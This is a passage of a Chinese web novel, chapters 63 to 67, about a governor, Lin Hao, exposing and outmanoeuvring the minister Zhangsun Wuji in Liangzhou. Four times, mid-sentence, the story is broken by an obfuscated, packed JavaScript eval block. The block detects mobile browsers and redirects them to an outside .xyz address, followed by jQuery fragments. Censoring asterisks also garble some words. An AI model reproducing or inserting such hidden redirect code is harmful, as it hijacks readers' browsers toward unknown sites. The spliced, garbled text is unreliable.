就在气氛越来越紧张的时候,远处传来一个懒洋洋的声音。
“呦,这么热闹啊?”
林浩慢悠悠走来,手里拿着一卷沾着血迹的皮质卷轴,脸上挂着那种看热闹不嫌事大的表情。
长孙无忌看到林浩,立刻跳了起来:“林浩!你终于敢出来了!立即命令你的人让开,否则别怪本相不客气!”
林浩完全无视了长孙无忌的怒吼,径直走到侯君集面前。
“侯将军,末将有一事不明,想向您请教。”林浩将手中的皮质卷轴缓缓展开。
卷轴一打开,上面密密麻麻的吐谷浑文字映入众人眼帘。
虽然大部分人看不懂,但那些用朱笔圈出的汉字名字,却清晰可见。
“这是什么?”侯君集问道。
“这是从吐谷浑大营缴获的内奸名单。”
林浩的声音依然懒散,但话里的内容却如同炸雷,“上面详细记录了吐谷浑在我大唐各地的内应。”
全场瞬间安静下来。
内奸名单?这种东西的分量,在座每个人都清楚。
长孙无忌脸色微变,但还是强撑着:“你想干什么?现在是在讨论工坊交接,不要扯这些无关的事情!”
“无关?”林浩笑了,手指点在卷轴上的一个名字上,“那这个人呢?”
他指的那个名字,用朱笔重重圈出,旁边还有详细的标注。
“此人是吐谷浑在凉州最大的内应之一,负责联络各路奸细,传递军情。”
林浩的视线从卷轴上移开,直直看向长孙无忌身后的一名管事。
那名管事原本还在人群中看热闹,被林浩这一看,脸色瞬间血色尽失。
“为何此人与长孙大人的这位管事,在半月内秘密会面了三次?”
林浩的声音依然很轻,但每个字都如同重锤砸在所有人心头。
此言一出,全场死寂。
通敌叛国!这个指控,已经不是争夺产业那么简单了。
侯君集脸色铁青,他身为三军主帅,最恨的就是通敌之事。
多少袍泽死在战场上,就是因为军情泄露。
“来人!”侯君集怒吼一声,“将此人拿下,隔离审查!”
几名玄甲军立刻上前,那名管事吓得腿都软了,连反抗都忘了,直接被按倒在地。
“侯将军!你不能听他一面之词!”长孙无忌急了,“这明显是栽赃陷害!”
“栽赃?”侯君集冷冷看着他,“长孙大人,此事关乎军国安危,任何人都不得阻拦。如果是栽赃,审问之后自然水落石出。”
“但如果是真的......”
侯君集的话没有说完,但威胁意味已经很明显了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391631|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
长孙无忌看着自己的心腹被拖走,整个人都懵了。
他万万没想到,林浩竟然握着这样的**锏。
如果那份名单是真的,如果自己的管事真的和吐谷浑有勾结,那自己也脱不了干系。
哪怕最后证明自己是被蒙蔽的,**生涯也算是完了。
更可怕的是,林浩既然敢当着这么多人的面说出来,肯定有确凿的证据。
“这......这一定是误会。”长孙无忌的声音都有些发颤,“本相对此人的私生活并不了解。”
“误会?”林浩收起卷轴,“希望如此吧。”
魏进在一旁看得清清楚楚,他心里已经明白了。
长孙无忌彻底败了,败得一塌糊涂。
林浩这招实在是太狠了。不管那名管事最终交代出什么,长孙无忌都不可能再在凉州立足。
通敌的嫌疑一旦沾上,就算最后洗清,**影响也是致命的。
更重要的是,这一手完全是阳谋。
林浩有证据,有人证,程序也完全合法。侯君集作为军方主将,必须配合调查。
长孙无忌再也不敢提“盘点工坊”的事了。
现在他自己都自身难保,哪里还有心情去抢夺产业?
“既然发生了这种事,工坊的交接就暂缓吧。”侯君集看了看长孙无忌,“等调查清楚再说。”
这话等于是给长孙无忌下了逐客令。
魏进点点头:“侯将军处理得当。此事确实需要查清楚。”
林浩打了个哈欠:“那我就先回去补个觉,各位慢聊。”
说完,他转身就走,留下一地鸡毛。
长孙无忌站在原地,脸色阴沉如水。他知道自己彻底栽了,栽在了一个他最看不起的“叛贼”手里。
夜深人静,都督府内。
侯君集独自一人拜访林浩的府邸,手里拿着一份厚厚的口供。
“都督,有件事必须要告诉您。”
侯君集的神色比白天更加凝重,“那名管事招了,但他交代的内容............”
“比通敌叛国更严重?”林浩放下手中的茶杯。
侯君集点点头:“他说,长孙无忌早就知道吐谷浑要攻打凉州。”
第64章:侯君集彻底倒戈,老匹夫你死定了
夜深,都督府的书房里只剩下烛火在跳。
门被一股大力从外面推开,带着一股寒风。
侯君集大步流星地闯了进来,他身上那股从尸山血海里带出来的煞气,几乎让烛火都矮了三分。
“砰!”
一卷厚厚的口供被他重重砸在林浩面前的桌案上,震得茶杯里的水都晃了出来。
林浩正对着一张结构图出神,被这动静惊扰,他抬起头,看了看桌上的卷宗,又看了看双眼布满血丝的侯君集。
“侯将军,火气不小。”
“此等**,人人得而诛之!”
侯君集的声音嘶哑,每一个字都像是从牙缝里挤出来的,“那管事全招了!他交代的东西,比通敌叛国还要毒一万倍!”
林浩这才真的来了兴趣。他伸手拿起那份被捏得有些变形的口供,慢慢展开。
纸上,那管事歪歪扭扭的字迹里,透着一股死亡降临前的恐惧。
侯君集的手指重重戳在口供的某一页上,指甲因为用力几乎要嵌进纸里。
“看这儿!长孙无忌早就知道吐谷浑要打过来!他不仅知道,吐谷浑的出兵规模、主攻方向,**连后备兵力有多少,他都一清二楚!”
林浩翻页的动作停了下来。
侯君集的胸膛剧烈起伏,他指着另一行字,声音都在发颤:“可他做了什么?他一个字都没往上报!反而用‘节约开支,勿扰边民’这种狗屁理由,连着三次,驳回了凉州补充**箭和守城器械的申请!”
“他这是要我们凉州的兵,用血肉去填城墙的缺口啊!”
最后一句,侯君集几乎是吼出来的。
借刀**。
林浩的脑子里只剩下这四个字。他将口供缓缓合上,脸上没什么表情。
“他的算盘,确实打得够响。”
林浩的语气很平淡,平淡得让侯君集心里的火烧得更旺,“借吐谷浑的刀,宰了我这个眼中钉,顺手把整个凉州变成一片焦土。到时候,他再以监军、以国舅的身份出来收拾残局,名正言顺地接管这里的一切,名利双收。”
“****!”侯君集一拳砸在桌子上,桌案发出一声痛苦的呻吟,“都督,这事不能就这么算了!我这就去点兵,把长孙无忌那老匹夫给我绑了!连人带这份口供,老子亲自押回长安,就算拼着这条命不要,也要在陛下面前,把他这身皮给扒了!”
这位百战将军,此刻已经动了真正的杀心。
“侯将军,坐下,喝口茶。”林浩将口供推了回去,又给他倒了杯水,“你觉得,就凭这么一份口供,就能把他彻底钉死?”
“人证物证俱在!白纸黑字,他还能翻了天不成?”侯君集一把推开茶杯。
“人证,只是一个随时可能‘畏罪自尽’的管事。”林浩摇了摇头,伸出一根手指在桌上轻轻敲击,“长孙无忌有一万种方法可以说这是栽赃陷害,是严刑逼供。到时候,他最多落个‘用人不明、管教不严’的罪过,不痛不痒。而你我,却会背上一个‘构陷宰辅、意图谋反’的天大罪名。”
侯君集像是被一盆冰水从头浇到脚,浑身僵住。
他是沙场上的雄狮,却不是朝堂里的狐狸。林浩三言两语,就点破了这背后那张看不见的网。他的怒火迅速冷却,化为一种更深沉的寒意。
“难道……就这么算了?”他的声音里充满了不甘,“我那三万玄甲军的弟兄,差一点,就成了他铲除异己的屠刀!这口气,我咽不下!”
“当然不能算。”林浩端起自己的茶杯,吹了吹热气,“只是,饭要一口一口吃。侯将军,你想过没有,我们扳倒一个长孙无忌,然后呢?”
这个问题,让侯君集彻底沉默了。
“长孙无忌的背后,是整个关陇贵族集团。”
林浩的声音很轻,却字字诛心,“他们盘根错节,同气连枝。我们今天动了他,明天整个朝堂的世家门阀都会把我们当成死敌。到那时候,凉州还能像现在这样安稳吗?你手里的三万玄甲军,会不会被一纸调令,派去南疆的瘴气林子里,打一场永远打不完的仗?”
侯君集猛地抬起头,背心渗出一层冷汗。他终于明白了林浩的顾虑,这不是私人恩怨,这是一场足以动摇国本的**风暴。自己一时冲动,不仅报不了仇,反而会把凉州,把自己麾下几万弟兄,全都拖进万劫不复的深渊。
他看着眼前这个比自己儿子还年轻的男人,第一次发自内心地感到,对方的眼界,早已超出了这一城一地的得失。
“那依都督之见,我们该当如何?”
这一次,侯君集的语气里,再无半分轻视,而是带着真正的郑重和探询。他是在向一个平等的盟友,寻求破局之法。
“这张牌,是我们的王炸,但不能现在就扔出去。”
林浩重新靠回椅背,恢复了那副一切尽在掌握的姿态,“它最大的作用,不是立刻打死长孙无忌,而是让他变成一个悬在我们头顶的把柄,一个随时可以引爆的雷。”
“在此之前,我们得先清扫干净自己的屋子。”
林浩的食指在桌上点了点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391632|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“我需要一份名单。你麾下玄甲军中,所有校尉以上军官的详细资料,尤其是他们的家族出身、派系归属。我们必须先分清楚,这三万人里,谁是我们的刀,谁又可能在背后捅我们一刀。”
釜底抽薪!
侯君集瞬间领会了林浩的意图。
“我明白了。”侯君集沉声应下,神情肃穆,“此事我亲自去办!三天之内,你要的东西,分毫不差地送到你手上!而且,从现在起,没有你我二人的共同手令,凉州城内,一兵一卒不得妄动!”
他主动加码,将双方的合作,用最直接的军令形式固定了下来。
这不仅是承诺,更是结盟的姿态。
“很好。”林浩满意地点头,“对了,这份口供,除了你我,还有第三个人知道吗?”
“绝无可能!”侯君集斩钉截铁,“审讯全程,营帐五十步内都由我的亲兵清场,连只苍蝇都飞不进去。”
“那就让它,暂时烂在我们的肚子里。”
侯君集起身告辞,走到门口时,他忽然停下,回头问了一句。
“都督,你似乎……从一开始就算到了这一步?”
林浩只是笑了笑,没说话。
侯君集带着一种说不清道不明的复杂情绪离开了。
他现在确信,与这个年轻人为敌,是长孙无忌这辈子犯下的,最大,也是最后一个错误。
夜色更深了。
林浩独自坐在房中,指尖有节奏地敲击着桌面。
长孙无忌这步棋,确实毒辣,若非自己有超越这个时代的见识,恐怕早已是白骨一堆。
但现在,攻守易势了。
就在他沉思之际,房门被轻轻推开一条缝。
李丽质端着一碗还冒着热气的安神汤走了进来,她的脸色在烛光下显得有些苍白,走路的姿势也有些僵硬。
“这么晚了,还没睡?”林浩问。
李丽质走到他面前,将汤碗放下,却没有看他,而是从袖中取出一封折叠得整整齐齐的信件,递了过来。
信封上没有任何字迹,但她的手却在微微发抖,指尖冰凉。
“刚才……母后宫里的人,送来的。”
她的声音很低,带着一丝她自己都没察觉到的仓惶。
林浩接过信,展开。
纸上,只有短短八个字,字迹娟秀,却能看出落笔时的慌乱与急切。
“家族蒙难,速归,勿信林浩。”
李丽质终于抬起头,她的眼睛里充满了迷茫和恐惧,嘴唇动了动,却发不出声音。
“林浩……我……”
第65章:比你想象的更大
林浩接过信,看了一遍,随手将信纸丢到桌上。
“你信吗?”他问李丽质。
李丽质咬着嘴唇,半晌没有说话。
信上的内容让她左右为难,一边是从小疼爱她的母后,一边是已经共患难的林浩。
“跟我来吧。”林浩站起身,“有些东西,你应该亲眼看看。”
他带着李丽质穿过几条走廊,来到都督府最深处的一个院落。
院门口两名护卫见到林浩,立刻让开道路。
推开院门,里面的景象让李丽质倒抽一口凉气。
这是一个巨大的厅堂,四面墙上贴满了各种地图、人名册、关系图。
几十张巨大的木桌拼接在一起,上面摆满了卷轴、文书、算筹。
数十名**员正在埋头工作,有的在抄录,有的在计算,有的在绘制图表。
“这是什么地方?”李丽质问道。
“信息处理中心。”林浩随意地说道,“也可以叫作战情报室。”
就在这时,侯君集从角落里走了过来,手里拿着一摞厚厚的卷宗。
“都督,您要的玄甲军军官资料整理好了。”
侯君集将卷宗放到桌上,“从校尉到将军,一千三百二十七人的详细背景,包括家族出身、姻亲关系、师门传承,全都在这里了。”
林浩点点头,对着一名**员招手。
“把长孙无忌那份口供拿来,还有上次缴获的吐谷浑内奸名单。”
很快,三份文件摆在了桌上。林浩转身对着整个大厅喊道。
“所有人听着,现在开始一次大规模的数据交叉分析。”
**员们立刻停下手中的工作,等待指令。
“第一组,筛选玄甲军中所有关陇贵族出身的军官,标记其家族与朝中大臣的关系网。”
“第二组,对比吐谷浑内奸名单,查找与这些内应有过接触的大唐官员和商人。”
“第三组,调取战前三个月凉州地区的粮价变动记录,分析异常波动背后的粮商信息。”
“第四组,统计所有在吐谷浑进攻前申请调离凉州防区的军官名单。”
“第五组,整理近年来与吐谷浑商队有贸易往来的关陇家族商铺记录。”
整个大厅瞬间忙碌起来。**员们分组行动,有的翻阅档案,有的计算数据,有的绘制图表。李丽质站在原地,完全被这种前所未见的场面震撼了。
这哪里是古代该有的工作方式?简直就像是后世的数据分析中心。
“你们这是在做什么?”李丽质问道。
“大数据分析。”林浩说道,“虽然没有电脑,但人脑组成的计算网络,效果也不错。”
侯君集在一旁看得目瞪口呆。他征战半生,从未见过这种情报处理方式。以往收集情报,全靠探子单线联系,信息零散不说,还经常自相矛盾。
现在这种方式,将所有信息汇集在一起,交叉对比,简直是降维打击。
两个时辰后,**员们陆续完成了任务。一张巨大的关系网图被绘制在墙上,密密麻麻的线条连接着一个个人名。
“汇报结果。”林浩说道。
第一组的组长站起身:“启禀都督,玄甲军中关陇贵族出身的军官共计二百一十三人,其中校尉以上四十七人。这些人的家族,与长孙无忌、房玄龄、杜如晦等重臣都有姻亲或师门关系。”
第二组组长接着汇报:“根据内奸名单对比,发现有十三名大唐官员曾与吐谷浑内应秘密接触。其中八人来自关陇贵族家庭。”
第三组的发现更加惊人:“战前三个月,凉州粮价出现异常波动。有五家粮商在吐谷浑进攻前大量抛售存粮,获利巨大。这五家粮商的背后,都有关陇贵族的影子。”
第四组的数据让侯君集脸色铁青:“申请调离凉州的军官共计三十一人,其中二十六人来自关陇贵族家庭。他们的调离申请,全部是在吐谷浑集结兵力的消息传出之后提交的。”
最后一组的汇报,彻底引爆了现场的气氛:“与吐谷浑商队有贸易往来的关陇家族多达四十三家。其中十二家在近三年内向吐谷浑出售了大量铁器、盐巴和马具。”
李丽质听着这些汇报,脸色越来越苍白。
每一个数据都像一记重锤,砸在她的心上。
这些名字,她太熟悉了。
有的是她的表叔,有的是她的远房堂兄,有的是从小看着她长大的世叔。
“这……这怎么可能?”李丽质的声音在颤抖。
林浩走到墙边,指着那张关系网图。
“你看这里。”他的手指点在长孙无忌的名字上,“以他为核心,整个关陇贵族集团都参与了这场阴谋。”
“他们的目的很简单。凉州的崛起威胁到了他们的既得利益。新
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391633|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的生产方式会让他们的土地失去价值,新的商业模式会冲击他们的垄断地位。”
“所以他们选择了最极端的方式。借刀**,让吐谷浑毁掉凉州,然后他们再以救世主的身份出现,接收这里的一切。”
侯君集握紧了拳头:“这群败类!为了一己私利,竟然勾结外敌!”
“勾结外敌还是小事。”林浩的语气依然很平静,“他们这是在挖大唐的根基。如果让他们得逞,整个国家都会**几十年。”
李丽质看着墙上密密麻麻的名字和关系线,泪水终于忍不住流了下来。
这些人,都是她从小敬重的长辈。
她怎么也想不到,他们会做出这种事情。
“现在你还觉得,是我在与你的家族为敌吗?”林浩转身看着她。
李丽质擦掉眼泪,没有回答。
她走到一张空桌子前,拿起笔墨,开始整理桌上的卷宗。
“我帮你们整理这些证据。”她的声音很轻,但很坚定,“我要亲手揭露这些败类的真面目。”
侯君集看着她的背影,心中涌起一阵敬意。
能在亲情和正义之间做出这样的选择,需要多大的勇气?
与此同时,长孙无忌在被软禁的营帐中,端坐在案前,面前的烛火映照着他阴沉的脸。
侯君集那个匹夫,竟然真的敢软禁他!
还有林浩那个黄口小儿,手段如此阴狠,完全不像个二十出头的年轻人。
“大人。”帐帘被轻轻掀开一条缝,一个负责送饭的亲兵低着头走了进来。
这名亲兵是他的心腹,早在玄甲军中就安插好了,平时沉默寡言,毫不起眼,因此躲过了侯君集的清洗。
长孙无忌没有说话,只是用手指轻轻敲了敲桌面。
亲兵会意,将食盒放在桌上的同时,迅速将一小卷用油布包裹的丝帛,塞进袖中。
长孙无忌淡淡地说道:“饭菜不合胃口,明日换些清淡的。”
“是,大人。”亲兵低声应道,收拾好食盒,躬身退了出去。
信是写给太子李承乾的。
内容很简单:侯君集被林浩蛊惑,凉州已成叛逆巢穴,请太子殿下速派禁军西进,以免贻误大局。
长孙无忌相信,只要这封信送到长安,局面就会彻底逆转。
太子李承乾与他是一条船上的人,绝不会坐视凉州做大。
第66章:说好交接,你却给我上管理课?
卯时三刻,凉州都督府。
侯君集大马金刀地坐在堂下,他戎马半生,参与过的权力交接没有一百也有八十次。
在他看来,这不过是个流程:交接兵符、官印,清点一下府库账册,半个时辰就能利利索索地完事。
可现在,他盯着面前桌案上堆起的那一摞比城砖还厚的册子,脑门上的青筋突突直跳。
“林都督……这是?”侯君集指着那堆东西,声音有点干。
“交接啊。”林浩打了个哈欠,一副没睡醒的样子,随手拿起最上面一本册子,推到侯君集面前,
“侯将军,这是《凉州标准化操作流程》第一册,工厂管理篇。从铁矿石怎么验收到一根螺丝钉怎么入库,规矩都在里面。”
侯君集狐疑地翻开一页。
“高炉温度控制标准:辰时一刻至午时三刻,温度不得低于一千二百五十度,误差范围为五十度。每半个时辰,由三号岗位的工匠记录一次,一式三份,分送车间主管、仓库、档案室……”
“成品钢材含碳量检测:每炉取三个样本,使用‘渗碳法’进行初步评级,甲等品直接入兵器坊,乙等品转入民用工具坊,丙等品回炉。样本封存,责任到人……”
密密麻麻的条文,看得侯君集眼晕。
他感觉自己不是在接管一个边镇,而是在学一门闻所未闻的天书。
“这……这玩意儿,都要背下来?”
“那倒不用。”林浩摆摆手,“你只需要知道,工厂是按这些规矩跑的,出了问题,你知道该查哪本册子,找哪个人。你作为最高长官,得懂法,而不是去执法。”
说着,他又抽出第二本册子,拍在桌上。
“《凉州民兵训练手册》。”
侯君集这次学乖了,直接翻到最关心的部分。一看之下,他差点从椅子上站起来。
“负重越野:每月考核一次,全装二十斤,十里地,一炷香内完成为‘优’,一个时辰为‘合格’。连续三次不合格者,取消民兵资格,并扣除当月一半的工坊补贴。”
“战术配合:以十人为一小队,演练三三制突击阵型……巷战防御阵型……”
这**哪里是民兵!这训练标准,比内地的一些卫所兵都狠!
“民兵……还要搞战术演练?”侯君集感觉自己的世界观受到了冲击。
“当然。”林浩理所当然地开口,“不识字的兵,怎么看得懂作战地图?不会算数的兵,怎么计算抛射角度?侯将军,时代变了。以后打仗,光靠膀子力气和一腔热血,那是给对面送人头。”
“时代变了……”侯君集咀嚼着这四个字,心里翻江倒海。
一旁,负责监交的宦官魏进,正拿着笔飞速记录。
他本来以为这只是一场普通的交接,可越听越心惊。
他翻开一本《凉州商贸监管办法》,只看了几眼,手就抖了一下。
上面关于税收、市场准入、打击囤积居奇的条款,写得比朝廷户部的典籍还要精细、严密,而且……更具操作性。
这位年轻的凉州侯,哪里是在治理一个州,他分明是在打造一个独立的王国!
这个念头一起,魏进的后背就冒出一层冷汗。
就在都督府里进行着这场“天书”交接时,玄甲军大营的一处角落,气氛却格外压抑。
“**!什么破规矩!”一个玄甲军的百夫长将手里的空水囊摔在地上,“老子去军械坊领几张新弓弦,那个管事竟然让老子填什么‘物资申领表’!还要什长、校尉层层签字!老子在长安,直接去武库领就行了,哪来这么多屁事!”
“可不是嘛!”旁边一个士兵附和道,“我去医馆给兄弟拿点金疮药,那个女大夫非要先登记伤情,还问是怎么伤的,什么时辰伤的,问得比我娘还细!不就是破了点皮吗!”
这些议论,一字不落地传进了长孙无忌的帐篷。
他被软禁着,面前的粥已经凉透。
听着心腹亲兵的汇报,他那张阴沉的脸终于露出了一丝活气。
机会来了。
“传话下去。”长孙无忌的声音压得极低,像一条吐着信子的毒蛇,“让兄弟们多去‘碰碰壁’。记住,咱们是客,别主动惹事。但要是那些林浩的旧部给脸不要脸,咱们玄甲军的威风,也不能丢了!”
“喏!”亲兵心领神会地退下。
长孙无忌的算盘打得噼啪响。
玄甲军是骄兵,凉州本地势力有自己的规矩,这两拨人撞在一起,必然会起火。
只要闹出几次冲突,坐实了“林浩旧部排挤天兵”的印象,他就能以此为借口,逼侯君集清洗凉州的管理层,安插自己的人。
然而,他等了一天,预想中的大**并没有发生。
第二天一早,最新一期的《凉州日报》特刊,被送到了玄甲军每一个营帐。
头版头条,巨大的标题无比醒目——《欢迎最可爱的玄甲军兄弟!一图读懂凉州生活指南!》
报纸用最直白的语言和有趣的插画,图文并茂地解释了凉州的各种“规矩”。
“要去工坊领物资?请到后勤处找王书吏填个表,三分钟搞定,保证领到的都是一等品!”
“身体不舒服?医馆全天候免费开放!找任何一个穿白大褂的‘天使’,她们会给你最专业的照顾!ps:登记是为了建立你的个人健康档案哦!”
“想家了?去‘军邮局’,这里有免费的纸笔,写好的信,我们帮你快马送到长安!”
报纸的最后,还有一个加粗的黑框:“如遇任何工作人员态度恶劣或故意刁难,请拨打监督热线:洞幺洞幺!都督府直通,一查到底!”
昨天还在抱怨的那个百夫长,此刻正举着报纸,脸上红一阵白一阵。“原来……是这么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391634|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回事。错怪人家了。”
“嘿,这林都督,想得还真周到。”
“是啊,还‘最可爱的人’,这话听着心里舒坦!”
军营里的怨气,就这么被一张薄薄的报纸,化解于无形。
长孙无忌听着帐外传来的议论声,气得一把将桌上的粥碗扫落在地。
瓷器碎裂的清脆声响,让他眼中的狠厉之色更浓。
明着来不行,那就只能用阴的了!
当夜,几名关陇出身的玄甲军校尉,被秘密请进了他的营帐。
“……诸位,凉州的富庶,你们都看见了。”
长孙无忌的声音充满了蛊惑,“那些工坊,就是一座座金山!凭什么让林浩一个叛臣之后独占?只要我们联手,扳倒了他和侯君集,这里的财富,就是我们这些功臣的!”
几名校尉呼吸急促,眼中都冒出了贪婪的光。
他们不知道,在帐篷外的阴影里,几道身影悄无声息地记录下了一切,随即消失在夜色中。
第二天,侯君集在校场当众宣布了新的人事任命。
“……王校尉、李校尉、赵校尉!”侯君集点到那几个昨夜与长孙无忌密会的人。
“末将在!”三**声应答,以为要被委以重任。
“军中马厩,秽物堆积,臭气熏天,有碍军容!”侯君集一脸严肃,“此等清理污秽、整顿军纪的重任,非忠勇之士不能担当!本将军决定,就由你们三人,共同负责马厩的日常清扫事宜!望你们不负本将军厚望!”
此言一出,全场先是死寂,随即响起一阵压抑不住的窃笑。
那三名校尉的脸,瞬间涨成了猪肝色。让他们去扫马粪?这比当众扒了他们的裤子还难受!
长孙无忌在帐中听到这个消息,整个人如坠冰窟。
他所有的棋子,都被对方轻描淡写地废掉了。
林浩、侯君集……他们已经彻底穿上了一条裤子!常规的手段,对他们已经完全没用了。
长孙无忌枯坐到深夜,帐内的烛火燃尽,又被亲兵换上新的。
黑暗中,他那名最心腹的亲兵悄然滑入,单膝跪地,双手呈上一样东西。
那是一枚小小的、用蜡封好的竹管。
长孙无忌接过,放在烛火上烤化了蜡封,从里面倒出一张比指甲盖大不了多少的丝帛。
上面只有一个字:“败。”
这是他在长安的暗线传来的消息,意味着太子那边试图在朝堂上发起的攻讦,也失败了。
所有的路,都被堵**。
长孙无忌将丝帛扔进烛火,看着它化为灰烬。他脸上所有的表情都消失了,只剩下一片死寂。
他从怀中摸出一块雕着麒麟纹的黑色铁牌,递给亲兵。
“去,把它交给城东‘福运来’客栈的掌柜。”
他的声音平静得可怕,不带一丝波澜。
“告诉他,该动手了。”
第67章:一粒米引发的血案,老匹夫的毒计
茅厕的门又被“砰”的一声撞开。
玄甲军第三营的百夫长张三扶着门框,双腿发软,几乎是挪着步子走出来。
清晨的凉风一吹,他额头上的虚汗瞬间冰凉。
这已是他今早第五趟了,肚子里那股劲儿翻江倒海,搅得五脏六腑都错了位,比当年在战场上挨了一刀还难受。
“头儿,你还顶得住不?”一名亲兵递过来一碗水,脸上满是担忧。
张三摆了摆手,刚想说没事,就看见营帐那边又有两个弟兄捂着肚子,脸色发青地朝茅厕这边冲过来。
整个营地里,一股说不清的酸腐气味若有若无地飘着。
不对劲。
张三当了十年兵,从没见过这么个闹肚子的阵仗。昨晚的饭食和往常一样,都是白米饭配肉干,怎么一夜之间,一个营倒了快三十号人?
他大步流星地走回营帐,径直奔向堆放军粮的角落,一把撕开一个麻袋。
米是白花花的,看不出任何问题。
他皱着眉,将手伸进麻袋深处,一直探到底部。当他抓起一把米时,一股淡淡的霉味钻进了鼻孔。
摊开手掌,几粒已经发黑、甚至长出细微绿毛的米粒,赫然混在雪白的米中。
张三的脸一下子沉了下去,后槽牙咬得咯吱作响。
军粮!
这两个字的分量,足以压垮任何一支军队。
“来几个人,把所有粮袋都给老子翻到底!”他低吼道。
片刻之后,结果让在场所有士兵的心都凉了半截。几乎每个粮袋的底部,或多或少都能发现这种发霉的陈米。
“**!”张三一脚踹在粮袋上,“立刻去上报!把粮草校尉赵谦给老子叫过来!”
半个时辰后,赵谦才挺着他那圆滚滚的肚子,慢悠悠地晃了过来。他长得白净,不像个军官,倒像个养尊处优的富商。
“张百夫长,一大早的,什么事这么火急火燎?”赵谦打着哈欠,语气里透着一股被打扰清梦的不快。
张三将一把带着霉粒的米递到他面前:“赵校尉,你自己看!军粮出问题了!”
赵谦捏起一粒看了看,随手扔掉,用丝帕擦了擦手指,浑不在意地笑道:“嗨,我当多大事呢。长途运粮,有点损耗不是正常的嘛。把坏的挑出去不就结了,又不是吃不得。”
“可已经有三十多个弟兄上吐下泻,人都快站不稳了!”张三的火气“蹭”地就上来了。
“哦?闹肚子了?”赵谦脸上的笑容不变,话里却带了刺,“那可能是凉州水土硬,弟兄们肠胃不适应。张百夫长,你也是带兵的人,该懂规矩。军中最忌讳的就是小题大做,危言耸听,这话传出去,动摇了军心,你担待得起吗?”
张三被他这番话噎得胸口发闷。
这**叫小题大做?
“赵校尉,这事关乎三万玄甲军的性命,绝不能……”
“行了!”赵谦脸上的笑容一收,换上了一副公事公办的表情,“本校尉心里有数。你的职责是操练兵马,后勤的事,就不劳你费心了。”
说完,他背着手,哼着小曲,转身走了。
张三站在原地,看着他肥硕的背影,攥紧的双拳指节发白。
当天下午,赵谦换上一副忧心忡忡的表情,敲开了侯君集的营帐。
“侯将军,末将有要事禀报。”
侯君集正对着地图推演,闻言抬起头:“讲。”
“是军粮……”赵谦长叹一口气,表情拿捏得恰到好处,“凉州都督府移交过来的那批粮草,恐怕……有点问题。”
侯君集的动作停住了:“什么问题?”
“唉,部分粮食有轻微的霉变。虽然量不大,但已经有营的士兵出现了腹泻。末将怀疑,是他们之前的仓储管理出了岔子。”
军粮!
侯君集“霍”地站起身,周身的气场骤然一冷。
“带我去看!”
两人直奔中央粮仓。赵谦亲自打开几袋粮食,里面的米粒饱满,干燥清爽,散发着新粮的香气。侯君集亲自检查了账册,入库、出库、仓储温度、湿度记录,所有条目清晰工整,堪称典范。
“你说的霉变,在哪?”侯君集的声音里透着疑惑。
“这……中央粮仓的管理确实没得说。”赵谦连忙解释,“可能是分发到各营的途中,不小心混入的。毕竟环节一多,难免出纰漏。”
侯君集眉头微动。难道真是林浩那边百密一疏?
就在这时,一名亲兵来报:“将军,第三营百夫长张三求见。”
张三一进粮仓,看见侯君集和赵谦都在,心里顿时明白了七八分。
“张百夫长,你来得正好。”侯君集指着仓里的粮食,“你营里的问题,是怎么回事?”
张三看了一眼堆积如山的优质粮食,又瞥了一眼旁边含笑不语的赵谦,心一横,沉声回道:“回将军,中央粮仓的粮食没问题。但我们领回去的……”
“那定是运输途中的意外了。”赵谦立刻抢过话头,还拍了拍张三的肩膀,“张百夫长,你也别太紧张,我已经派人去处理了,小事一桩。”
侯君集看着眼前这两人,一个言之凿凿,一个欲言又止,心里第一次对这看似无懈可击的交接,产生了一丝疑云。
……
夜里,张三在床上翻来覆去,怎么也睡不着。赵谦那张笑里藏刀的脸在他脑子里挥之不去。
突然,他想起了前几天发到人手一份的《凉州日报》。
报纸上好像说……有个什么监督热线?
第二天一早,一份用词恳切的匿名**,被送到了《凉州日报》编辑部,又被马周火急火燎地送到了林浩的案头。
